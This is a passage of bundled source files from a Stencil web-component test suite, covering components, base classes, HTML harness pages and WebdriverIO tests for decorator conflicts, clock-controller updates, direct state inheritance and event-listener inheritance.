[...this.componentMethodCallLog];\n  }\n\n  /**\n   * Method to reset component call log\n   */\n  @Method()\n  async resetComponentMethodCallLog(): Promise<void> {\n    this.componentMethodCallLog = [];\n  }\n\n  /**\n   * Method to get combined call log (base + component)\n   */\n  @Method()\n  async getCombinedMethodCallLog(): Promise<string[]> {\n    const baseLog = await super.getMethodCallLog();\n    return [...baseLog, ...this.componentMethodCallLog];\n  }\n\n  /**\n   * Method to reset all call logs\n   */\n  @Method()\n  async resetAllCallLogs(): Promise<void> {\n    await super.resetMethodCallLog();\n    this.componentMethodCallLog = [];\n  }\n\n  render() {\n    return (\n      <div class=\"container\">\n        <h2>Decorator Conflicts Test</h2>\n\n        <div class=\"duplicate-props\">\n          <h3>Duplicate @Prop (Component Override)</h3>\n          <p class=\"duplicate-prop-value\">Duplicate Prop: {this.duplicateProp}</p>\n          <p class=\"expected-prop-value\">Expected: component prop value (component override)</p>\n        </div>\n\n        <div class=\"duplicate-states\">\n          <h3>Duplicate @State (Component Override)</h3>\n          <p class=\"duplicate-state-value\">Duplicate State: {this.duplicateState}</p>\n          <p class=\"expected-state-value\">Expected: component state value (component override)</p>\n        </div>\n\n        <div class=\"base-only-props\">\n          <h3>Base-Only Properties (Not Duplicated)</h3>\n          <p class=\"base-only-prop-value\">Base Only Prop: {this.baseOnlyProp}</p>\n          <p class=\"base-only-state-value\">Base Only State: {this.baseOnlyState}</p>\n        </div>\n\n        <div class=\"component-only-state\">\n          <h3>Component-Only State</h3>\n          <p class=\"component-only-state-value\">Component Only State: {this.componentOnlyState}</p>\n        </div>\n\n        <div class=\"actions\">\n          <button class=\"update-duplicate-state\" onClick={() => this.updateDuplicateState('duplicate state updated')}>\n            Update Duplicate State\n          </button>\n          <button\n            class=\"update-component-only-state\"\n            onClick={() => this.updateComponentOnlyState('component only updated')}\n          >\n            Update Component Only State\n          </button>\n        </div>\n\n        <div class=\"test-info\">\n          <p>\n            Features: Duplicate @Prop names | Duplicate @State names | Duplicate @Method names | Compiler precedence\n            rules\n          </p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-conflicts/conflicts-base.ts",
    "content": "import { Prop, State, Method } from '@stencil/core';\n\n/**\n * ConflictsBase - Base class demonstrating decorator conflicts\n *\n * This base class provides:\n * 1. @Prop, @State, and @Method decorators that will be duplicated in component\n * 2. Non-duplicate properties/methods for comparison\n * 3. Tracking mechanism to verify which version is used\n */\nexport class ConflictsBase {\n  // Duplicate properties that will be overridden in component\n  @Prop() duplicateProp: string = 'base prop value';\n  @State() duplicateState: string = 'base state value';\n\n  // Non-duplicate properties for comparison\n  @Prop() baseOnlyProp: string = 'base only prop value';\n  @State() baseOnlyState: string = 'base only state value';\n\n  // Tracking mechanism to verify which method is called\n  protected methodCallLog: string[] = [];\n\n  /**\n   * Duplicate method that will be overridden in component\n   */\n  @Method()\n  async duplicateMethod(): Promise<string> {\n    this.methodCallLog.push('duplicateMethod:base');\n    return 'base method';\n  }\n\n  /**\n   * Non-duplicate method for comparison\n   */\n  @Method()\n  async baseOnlyMethod(): Promise<string> {\n    this.methodCallLog.push('baseOnlyMethod');\n    return 'base only method';\n  }\n\n  /**\n   * Method to get the call log for testing\n   */\n  @Method()\n  async getMethodCallLog(): Promise<string[]> {\n    return [...this.methodCallLog];\n  }\n\n  /**\n   * Method to reset call log for testing\n   */\n  @Method()\n  async resetMethodCallLog(): Promise<void> {\n    this.methodCallLog = [];\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-conflicts/es2022.custom-element.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\">\n  <title>ES2022 dist-custom-elements output - Decorator Conflicts</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-conflicts.js';\n    defineCustomElement();\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output - Decorator Conflicts</h1>\n  <extends-conflicts></extends-conflicts>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-conflicts/es2022.dist.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\">\n  <title>ES2022 dist output - Decorator Conflicts</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Decorator Conflicts</h1>\n  <extends-conflicts></extends-conflicts>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-controller-updates/clock-controller-base.ts",
    "content": "/**\n * ClockController base class - demonstrates controller-initiated updates via requestUpdate pattern\n * Modeled after Lit's ClockController: https://lit.dev/docs/composition/controllers/#content\n *\n * This base class:\n * 1. Manages timer lifecycle (start/stop)\n * 2. Requests host component updates via abstract requestUpdate() method\n * 3. Host component owns @State and implements requestUpdate()\n *\n * This simulates Lit's this.host.requestUpdate() pattern\n */\nexport abstract class ClockControllerBase {\n  private timer?: NodeJS.Timeout;\n  private timerInterval: number;\n\n  constructor() {\n    this.timerInterval = 1000;\n  }\n\n  // Abstract method - host component must implement this\n  // This simulates Lit's this.host.requestUpdate()\n  protected abstract requestUpdate(): void;\n\n  // Lifecycle methods that components can use\n  componentDidLoad() {\n    this.startClock();\n  }\n\n  disconnectedCallback() {\n    this.stopClock();\n  }\n\n  // Controller methods - can be called by host component\n  startClock() {\n    if (this.timer) return; // Already running\n\n    this.timer = setInterval(() => {\n      // This simulates Lit's this.host.requestUpdate()\n      // Controller tells host \"please update yourself\"\n      this.requestUpdate();\n    }, this.timerInterval);\n  }\n\n  stopClock() {\n    if (this.timer) {\n      clearInterval(this.timer);\n      this.timer = undefined;\n    }\n  }\n\n  // Utility method for host to get current time\n  protected getCurrentTimeValue(): string {\n    return new Date().toLocaleTimeString();\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-controller-updates/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Test Case #12 - Controller-Initiated Updates\n * Tests for controller-initiated updates. Built with\n * `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n *\n * Demonstrates base classes triggering host component updates via @State inheritance\n * Modeled after Lit's ClockController: https://lit.dev/docs/composition/controllers/\n */\n\ndescribe('Test Case #12 – Controller-Initiated Updates (ClockController pattern)', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-controller-updates/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.current-time'), { timeout: 5000 });\n    });\n\n    it('automatically updates clock display via timer-based controller', async () => {\n      // Get initial time display\n      const timeElement = frameContent.querySelector('.current-time');\n      const initialTime = timeElement?.textContent;\n\n      expect(initialTime).toContain('Current Time:');\n\n      // Wait for at least one timer update (component updates every 500ms)\n      await browser.waitUntil(\n        () => {\n          const currentTime = frameContent.querySelector('.current-time')?.textContent;\n          return currentTime !== initialTime;\n        },\n        {\n          timeout: 2000,\n          timeoutMsg: 'Clock should update automatically via controller',\n        },\n      );\n\n      // Verify the time actually changed\n      const updatedTime = frameContent.querySelector('.current-time')?.textContent;\n      expect(updatedTime).not.toBe(initialTime);\n      expect(updatedTime).toContain('Current Time:');\n    });\n\n    it('can stop and start the clock controller', async () => {\n      // Verify clock is initially running\n      const statusElement = frameContent.querySelector('.clock-status');\n      expect(statusElement?.textContent).toContain('Clock Running: Yes');\n\n      // Stop the clock\n      const toggleButton = frameContent.querySelector('.toggle-clock') as HTMLButtonElement;\n      expect(toggleButton?.textContent?.trim()).toBe('Stop Clock');\n\n      toggleButton?.click();\n\n      // Wait for UI to update\n      await browser.waitUntil(\n        () => {\n          const status = frameContent.querySelector('.clock-status')?.textContent;\n          return status?.includes('Clock Running: No');\n        },\n        { timeout: 1000 },\n      );\n\n      // Verify button text changed\n      expect(toggleButton?.textContent?.trim()).toBe('Start Clock');\n\n      // Get current time and wait to ensure it doesn't change\n      const timeBeforeWait = frameContent.querySelector('.current-time')?.textContent;\n\n      // Wait 1 second - time should NOT change when stopped\n      await browser.pause(1000);\n\n      const timeAfterWait = frameContent.querySelector('.current-time')?.textContent;\n      expect(timeAfterWait).toBe(timeBeforeWait);\n\n      // Start the clock again\n      toggleButton?.click();\n\n      await browser.waitUntil(\n        () => {\n          const status = frameContent.querySelector('.clock-status')?.textContent;\n          return status?.includes('Clock Running: Yes');\n        },\n        { timeout: 1000 },\n      );\n\n      expect(toggleButton?.textContent?.trim()).toBe('Stop Clock');\n    });\n\n    it('demonstrates requestUpdate pattern - controller requests host updates', async () => {\n      // Verify the requestUpdate pattern is working (like Lit's this.host.requestUpdate())\n      const initialTime = frameContent.querySelector('.current-time')?.textContent;\n      const inheritanceInfo = frameContent.querySelector('.inheritance-info');\n      const patternInfo = frameContent.querySelector('.pattern-info');\n\n      // Verify component structure shows requestUpdate pattern\n      expect(inheritanceInfo?.textContent).toContain(\"Simulates Lit's this.host.requestUpdate() pattern\");\n      expect(patternInfo?.textContent).toContain('@State lives on component, controller requests updates');\n\n      // Verify updates via requestUpdate pattern\n      await browser.waitUntil(\n        () => {\n          const currentTime = frameContent.querySelector('.current-time')?.textContent;\n          return currentTime !== initialTime;\n        },\n        {\n          timeout: 2000,\n          timeoutMsg: 'Controller should request host updates via requestUpdate()',\n        },\n      );\n\n      const updatedTime = frameContent.querySelector('.current-time')?.textContent;\n      expect(updatedTime).not.toBe(initialTime);\n      expect(updatedTime).toContain('Current Time:');\n\n      // This proves the requestUpdate pattern:\n      // 1. Base class timer calls this.requestUpdate()\n      // 2. Component implements requestUpdate() and updates its @State\n      // 3. @State changes trigger host component re-render\n      // 4. Same flow as Lit's this.host.requestUpdate()\n    });\n\n    it('verifies requestUpdate mechanism enables controller-initiated updates', async () => {\n      // This test verifies the core mechanism: controller requests updates, component owns @State\n\n      // Get reference elements\n      const timeElement = frameContent.querySelector('.current-time');\n      const statusElement = frameContent.querySelector('.update-info');\n\n      // Verify requestUpdate pattern info\n      expect(statusElement?.textContent).toContain(\n        'Base class calls requestUpdate() → Component updates @State → Re-render',\n      );\n\n      // Verify that the component displays time\n      expect(timeElement?.textContent).toContain('Current Time:');\n\n      // Verify requestUpdate pattern works (this proves the explicit update mechanism)\n      const initialTime = timeElement?.textContent;\n\n      await browser.waitUntil(\n        () => {\n          const currentTime = frameContent.querySelector('.current-time')?.textContent;\n          return currentTime !== initialTime;\n        },\n        {\n          timeout: 2000,\n          timeoutMsg: 'requestUpdate pattern should enable controller-initiated updates',\n        },\n      );\n\n      // This test passing proves that:\n      // 1. Base class calls requestUpdate() via timer\n      // 2. Component implements requestUpdate() and updates its own @State\n      // 3. @State changes trigger host component re-renders\n      // 4. The requestUpdate pattern successfully simulates Lit's this.host.requestUpdate()\n      const finalTime = frameContent.querySelector('.current-time')?.textContent;\n      expect(finalTime).not.toBe(initialTime);\n    });\n  });\n\n  describe('es2022 custom-element output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest(\n        '/extends-controller-updates/es2022.custom-element.html',\n        'es2022-custom-elements',\n      );\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.current-time'), { timeout: 5000 });\n    });\n\n    it('controller updates work in custom elements build', async () => {\n      // Verify clock is running in custom elements build\n      const initialTime = frameContent.querySelector('.current-time')?.textContent;\n\n      await browser.waitUntil(\n        () => {\n          const currentTime = frameContent.querySelector('.current-time')?.textContent;\n          return currentTime !== initialTime;\n        },\n        {\n          timeout: 2000,\n          timeoutMsg: 'Clock should update in custom elements build',\n        },\n      );\n\n      // Verify ClockController inheritance works in custom elements build\n      const updatedTime = frameContent.querySelector('.current-time')?.textContent;\n      expect(updatedTime).not.toBe(initialTime);\n      expect(updatedTime).toContain('Current Time:');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-controller-updates/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\nimport { ClockControllerBase } from './clock-controller-base.js';\n\n@Component({\n  tag: 'extends-controller-updates',\n})\nexport class ControllerUpdatesCmp extends ClockControllerBase {\n  // Component owns the @State - not the base class\n  @State() currentTime: string = new Date().toLocaleTimeString();\n  @State() isClockRunning: boolean = true;\n\n  constructor() {\n    super(); // No parameters needed\n  }\n\n  // Component implements the requestUpdate method (simulates Lit's this.host.requestUpdate())\n  protected requestUpdate(): void {\n    // Controller calls this method to request a re-render\n    // Component updates its own @State which triggers re-render\n    this.currentTime = this.getCurrentTimeValue();\n  }\n\n  toggleClock() {\n    if (this.isClockRunning) {\n      this.stopClock();\n      this.isClockRunning = false;\n    } else {\n      this.startClock();\n      this.isClockRunning = true;\n    }\n  }\n\n  render() {\n    return (\n      <div>\n        <h2>Controller-Initiated Updates Test</h2>\n\n        <div class=\"clock-section\">\n          <h3>Clock Controller (requestUpdate Pattern)</h3>\n          <p class=\"current-time\">Current Time: {this.currentTime}</p>\n          <button class=\"toggle-clock\" onClick={() => this.toggleClock()}>\n            {this.isClockRunning ? 'Stop Clock' : 'Start Clock'}\n          </button>\n        </div>\n\n        <div class=\"status-info\">\n          <h3>How It Works</h3>\n          <p class=\"clock-status\">Clock Running: {this.isClockRunning ? 'Yes' : 'No'}</p>\n          <p class=\"update-info\">Base class calls requestUpdate() → Component updates @State → Re-render</p>\n          <p class=\"inheritance-info\">Simulates Lit's this.host.requestUpdate() pattern</p>\n          <p class=\"pattern-info\">@State lives on component, controller requests updates</p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-controller-updates/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output - Controller Updates Extends</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-controller-updates.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output - Controller Updates Extends</h1>\n  <extends-controller-updates></extends-controller-updates>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/ts-target/extends-controller-updates/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output - Controller Updates Extends</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Controller Updates Extends</h1>\n  <extends-controller-updates></extends-controller-updates>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/ts-target/extends-direct-state/clock-base.ts",
    "content": "import { State } from '@stencil/core';\n\n/**\n * Simplified ClockBase class - demonstrates direct state management via Stencil's extends\n *\n * Compare with Lit's ReactiveController pattern:\n *\n * Lit Pattern:\n * - Controller extends ReactiveController interface\n * - Controller needs host reference: constructor(host: ReactiveControllerHost)\n * - Controller calls host.requestUpdate() to trigger re-renders\n * - Component creates controller instance: private clock = new ClockController(this)\n * - Component accesses controller.value in render()\n *\n * Stencil Pattern (this class):\n * ✅ No interface to implement\n * ✅ No host reference needed\n * ✅ No requestUpdate() calls needed\n * ✅ Component just extends - no controller instance\n * ✅ Direct @State access in render()\n *\n * This showcases Stencil's superior extends functionality\n */\nexport class ClockBase {\n  @State() currentTime: string = new Date().toLocaleTimeString();\n  @State() isClockRunning: boolean = true;\n\n  private timer?: NodeJS.Timeout;\n  private timerInterval: number = 1000;\n\n  // Lifecycle methods\n  componentDidLoad() {\n    this.startClock();\n  }\n\n  disconnectedCallback() {\n    this.stopClock();\n  }\n\n  // Clock control methods\n  startClock() {\n    if (this.timer) return; // Already running\n\n    this.timer = setInterval(() => {\n      // Direct state update - triggers re-render automatically\n      // No requestUpdate() needed!\n      this.currentTime = new Date().toLocaleTimeString();\n    }, this.timerInterval);\n  }\n\n  stopClock() {\n    if (this.timer) {\n      clearInterval(this.timer);\n      this.timer = undefined;\n    }\n  }\n\n  toggleClock() {\n    if (this.isClockRunning) {\n      this.stopClock();\n      this.isClockRunning = false;\n    } else {\n      this.startClock();\n      this.isClockRunning = true;\n    }\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-direct-state/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Test Case #12a - Direct State Management\n * Tests for direct state management via extends. Built with\n * `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n *\n * Demonstrates the simplified approach where base classes directly manage @State\n * without needing requestUpdate patterns like Lit's ClockController\n */\n\ndescribe('Test Case #12a – Direct State Management (Simplified Pattern)', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-direct-state/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.current-time'), { timeout: 5000 });\n    });\n\n    it('automatically updates clock display via direct state management', async () => {\n      // Get initial time display\n      const timeElement = frameContent.querySelector('.current-time');\n      const initialTime = timeElement?.textContent;\n\n      expect(initialTime).toContain('Current Time:');\n\n      // Wait for at least one timer update (component updates every 1000ms)\n      await browser.waitUntil(\n        () => {\n          const currentTime = frameContent.querySelector('.current-time')?.textContent;\n          return currentTime !== initialTime;\n        },\n        {\n          timeout: 2000,\n          timeoutMsg: 'Clock should update automatically via direct state management',\n        },\n      );\n\n      // Verify the time actually changed\n      const updatedTime = frameContent.querySelector('.current-time')?.textContent;\n      expect(updatedTime).not.toBe(initialTime);\n      expect(updatedTime).toContain('Current Time:');\n    });\n\n    it('can stop and start the clock via direct state', async () => {\n      // Verify clock is initially running\n      const statusElement = frameContent.querySelector('.clock-status');\n      expect(statusElement?.textContent).toContain('Clock Running: Yes');\n\n      // Stop the clock\n      const toggleButton = frameContent.querySelector('.toggle-clock') as HTMLButtonElement;\n      expect(toggleButton?.textContent?.trim()).toBe('Stop Clock');\n\n      toggleButton?.click();\n\n      // Wait for UI to update\n      await browser.waitUntil(\n        () => {\n          const status = frameContent.querySelector('.clock-status')?.textContent;\n          return status?.includes('Clock Running: No');\n        },\n        { timeout: 1000 },\n      );\n\n      // Verify button text changed\n      expect(toggleButton?.textContent?.trim()).toBe('Start Clock');\n\n      // Get current time and wait to ensure it doesn't change\n      const timeBeforeWait = frameContent.querySelector('.current-time')?.textContent;\n\n      // Wait 1.2 seconds - time should NOT change when stopped\n      await browser.pause(1200);\n\n      const timeAfterWait = frameContent.querySelector('.current-time')?.textContent;\n      expect(timeAfterWait).toBe(timeBeforeWait);\n\n      // Start the clock again\n      toggleButton?.click();\n\n      await browser.waitUntil(\n        () => {\n          const status = frameContent.querySelector('.clock-status')?.textContent;\n          return status?.includes('Clock Running: Yes');\n        },\n        { timeout: 1000 },\n      );\n\n      expect(toggleButton?.textContent?.trim()).toBe('Stop Clock');\n    });\n\n    it('demonstrates direct state pattern - no ReactiveController complexity', async () => {\n      // Verify the direct state pattern is working (simpler than Lit's ReactiveController pattern)\n      const initialTime = frameContent.querySelector('.current-time')?.textContent;\n      const inheritanceInfo = frameContent.querySelector('.inheritance-info');\n      const patternInfo = frameContent.querySelector('.pattern-info');\n\n      // Verify component structure shows direct state pattern\n      expect(inheritanceInfo?.textContent).toContain(\"Stencil's superior extends functionality\");\n      expect(patternInfo?.textContent).toContain('@State lives on base class, no requestUpdate needed');\n\n      // Verify Lit vs Stencil code comparison\n      const litPattern = frameContent.querySelector('.lit-pattern');\n      const stencilPattern = frameContent.querySelector('.stencil-pattern');\n      const litRender = frameContent.querySelector('.lit-render');\n      const stencilRender = frameContent.querySelector('.stencil-render');\n\n      expect(litPattern?.textContent).toContain('private clock = new ClockController(this, 100)');\n      expect(stencilPattern?.textContent).toContain('extends ClockBase // Just extend!');\n      expect(litRender?.textContent).toContain('this.clock.value');\n      expect(stencilRender?.textContent).toContain('this.currentTime');\n\n      // Verify updates via direct state pattern\n      await browser.waitUntil(\n        () => {\n          const currentTime = frameContent.querySelector('.current-time')?.textContent;\n          return currentTime !== initialTime;\n        },\n        {\n          timeout: 2000,\n          timeoutMsg: 'Direct state updates should trigger re-renders automatically',\n        },\n      );\n\n      const updatedTime = frameContent.querySelector('.current-time')?.textContent;\n      expect(updatedTime).not.toBe(initialTime);\n      expect(updatedTime).toContain('Current Time:');\n    });\n\n    it('verifies direct state mechanism is simpler than requestUpdate pattern', async () => {\n      // This test verifies the core advantage: base class owns @State directly\n\n      // Get reference elements\n      const timeElement = frameContent.querySelector('.current-time');\n      const statusElement = frameContent.querySelector('.update-info');\n\n      // Verify direct state pattern info\n      expect(statusElement?.textContent).toContain('Base class updates @State directly → Automatic re-render');\n\n      // Verify that the component displays time\n      expect(timeElement?.textContent).toContain('Current Time:');\n\n      // Verify comparison info shows advantages over Lit's ReactiveController pattern\n      const simplerInfo = frameContent.querySelector('.simpler-info');\n      const directInfo = frameContent.querySelector('.direct-info');\n      const cleanerInfo = frameContent.querySelector('.cleaner-info');\n      const stencilInfo = frameContent.querySelector('.stencil-info');\n      const extendsInfo = frameContent.querySelector('.extends-info');\n\n      expect(simplerInfo?.textContent).toContain('No ReactiveController interface');\n      expect(directInfo?.textContent).toContain('No host reference needed');\n      expect(cleanerInfo?.textContent).toContain('No host.requestUpdate() calls');\n      expect(stencilInfo?.textContent).toContain('No controller instance creation');\n      expect(extendsInfo?.textContent).toContain('Just extend the base class');\n\n      // Verify direct state updates work (this proves the simplified mechanism)\n      const initialTime = timeElement?.textContent;\n\n      await browser.waitUntil(\n        () => {\n          const currentTime = frameContent.querySelector('.current-time')?.textContent;\n          return currentTime !== initialTime;\n        },\n        {\n          timeout: 2000,\n          timeoutMsg: 'Direct state pattern should enable automatic updates',\n        },\n      );\n\n      // This test passing proves that:\n      // 1. Base class directly owns and updates @State (no controller.value needed)\n      // 2. State changes automatically trigger re-renders (no host.requestUpdate() needed)\n      // 3. No ReactiveController interface implementation needed\n      // 4. No host reference needed in constructor\n      // 5. Much simpler than Lit's ReactiveController pattern\n      const finalTime = frameContent.querySelector('.current-time')?.textContent;\n      expect(finalTime).not.toBe(initialTime);\n    });\n  });\n\n  describe('es2022 custom-element output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest(\n        '/extends-direct-state/es2022.custom-element.html',\n        'es2022-custom-elements',\n      );\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.current-time'), { timeout: 5000 });\n    });\n\n    it('direct state management works in custom elements build', async () => {\n      // Verify clock is running in custom elements build\n      const initialTime = frameContent.querySelector('.current-time')?.textContent;\n\n      await browser.waitUntil(\n        () => {\n          const currentTime = frameContent.querySelector('.current-time')?.textContent;\n          return currentTime !== initialTime;\n        },\n        {\n          timeout: 2000,\n          timeoutMsg: 'Clock should update in custom elements build',\n        },\n      );\n\n      // Verify direct state inheritance works in custom elements build\n      const updatedTime = frameContent.querySelector('.current-time')?.textContent;\n      expect(updatedTime).not.toBe(initialTime);\n      expect(updatedTime).toContain('Current Time:');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-direct-state/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\nimport { ClockBase } from './clock-base.js';\n\n@Component({\n  tag: 'extends-direct-state',\n})\nexport class DirectStateCmp extends ClockBase {\n  // Compare with Lit pattern:\n  // Lit: private clock = new ClockController(this, 100);\n  // Stencil: Just extend the base class - that's it!\n\n  // No controller instance needed\n  // No host reference needed\n  // No manual requestUpdate() calls needed\n\n  render() {\n    return (\n      <div>\n        <h2>Direct State Management Test</h2>\n\n        <div class=\"clock-section\">\n          <h3>Clock Controller (Direct State Pattern)</h3>\n          <p class=\"current-time\">Current Time: {this.currentTime}</p>\n          <button class=\"toggle-clock\" onClick={() => this.toggleClock()}>\n            {this.isClockRunning ? 'Stop Clock' : 'Start Clock'}\n          </button>\n        </div>\n\n        <div class=\"status-info\">\n          <h3>How It Works</h3>\n          <p class=\"clock-status\">Clock Running: {this.isClockRunning ? 'Yes' : 'No'}</p>\n          <p class=\"update-info\">Base class updates @State directly → Automatic re-render</p>\n          <p class=\"inheritance-info\">Leverages Stencil's superior extends functionality</p>\n          <p class=\"pattern-info\">@State lives on base class, no requestUpdate needed</p>\n        </div>\n\n        <div class=\"comparison-info\">\n          <h3>Comparison with Lit's ReactiveController Pattern</h3>\n          <p class=\"simpler-info\">✅ No ReactiveController interface to implement</p>\n          <p class=\"direct-info\">✅ No host reference needed in constructor</p>\n          <p class=\"cleaner-info\">✅ No host.requestUpdate() calls needed</p>\n          <p class=\"stencil-info\">✅ No controller instance creation on component</p>\n          <p class=\"extends-info\">✅ Just extend the base class and inherit @State directly</p>\n        </div>\n\n        <div class=\"lit-vs-stencil\">\n          <h3>Lit vs Stencil Code Comparison</h3>\n          <p class=\"lit-pattern\">Lit: private clock = new ClockController(this, 100);</p>\n          <p class=\"stencil-pattern\">Stencil: extends ClockBase // Just extend!</p>\n          <p class=\"lit-render\">Lit: html`Time: ${'${this.clock.value}'}`</p>\n          <p class=\"stencil-render\">Stencil: &lt;p&gt;Time: {'{this.currentTime}'}&lt;/p&gt;</p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-direct-state/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 custom-element output - Direct State Extends</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-direct-state.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 custom-element output - Direct State Extends</h1>\n  <extends-direct-state></extends-direct-state>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/ts-target/extends-direct-state/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output - Direct State Extends</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Direct State Extends</h1>\n  <extends-direct-state></extends-direct-state>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/ts-target/extends-events/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Tests for @Listen decorator inheritance through extends.\n * Built with `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n *\n * Test Case #10 - Event Handling Inheritance\n * Features:\n * - @Listen decorator inheritance from base class\n * - Multiple @Listen decorators at different inheritance levels\n * - Global vs Local listeners (window, document, host)\n * - Event handler override behavior\n * - Event bubbling and propagation\n */\n\ndescribe('Test Case #10 – Event Handling Inheritance (@Listen decorators)', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-events/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.event-info'), { timeout: 5000 });\n    });\n\n    it('inherits base class window listener', async () => {\n      const button = frameContent.querySelector('.trigger-base-window') as HTMLButtonElement;\n      const baseEventsEl = frameContent.querySelector('.base-events');\n\n      // Get initial count from DOM\n      const initialText = baseEventsEl?.textContent || '';\n      const initialMatch = initialText.match(/Base Events: (\\d+)/);\n      const initialCount = initialMatch ? parseInt(initialMatch[1], 10) : 0;\n\n      // Trigger event\n      button?.click();\n\n      // Wait for event to be processed and DOM to update\n      await browser.waitUntil(\n        async () => {\n          const updatedText = baseEventsEl?.textContent || '';\n          const updatedMatch = updatedText.match(/Base Events: (\\d+)/);\n          const updatedCount = updatedMatch ? parseInt(updatedMatch[1], 10) : 0;\n          return updatedCount > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      // Verify event was handled\n      const finalText = baseEventsEl?.textContent || '';\n      const finalMatch = finalText.match(/Base Events: (\\d+)/);\n      const finalCount = finalMatch ? parseInt(finalMatch[1], 10) : 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n\n      // Verify event appears in log\n      const eventLog = frameContent.querySelector('#event-log-list');\n      expect(eventLog?.textContent).toContain('base-window-event');\n    });\n\n    it('inherits base class document listener', async () => {\n      const button = frameContent.querySelector('.trigger-base-document') as HTMLButtonElement;\n      const baseEventsEl = frameContent.querySelector('.base-events');\n\n      const initialText = baseEventsEl?.textContent || '';\n      const initialMatch = initialText.match(/Base Events: (\\d+)/);\n      const initialCount = initialMatch ? parseInt(initialMatch[1], 10) : 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const updatedText = baseEventsEl?.textContent || '';\n          const updatedMatch = updatedText.match(/Base Events: (\\d+)/);\n          const updatedCount = updatedMatch ? parseInt(updatedMatch[1], 10) : 0;\n          return updatedCount > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalText = baseEventsEl?.textContent || '';\n      const finalMatch = finalText.match(/Base Events: (\\d+)/);\n      const finalCount = finalMatch ? parseInt(finalMatch[1], 10) : 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n\n      const eventLog = frameContent.querySelector('#event-log-list');\n      expect(eventLog?.textContent).toContain('base-document-event');\n    });\n\n    it('inherits base class host listener', async () => {\n      const button = frameContent.querySelector('.trigger-base-host') as HTMLButtonElement;\n      const baseEventsEl = frameContent.querySelector('.base-events');\n\n      const initialText = baseEventsEl?.textContent || '';\n      const initialMatch = initialText.match(/Base Events: (\\d+)/);\n      const initialCount = initialMatch ? 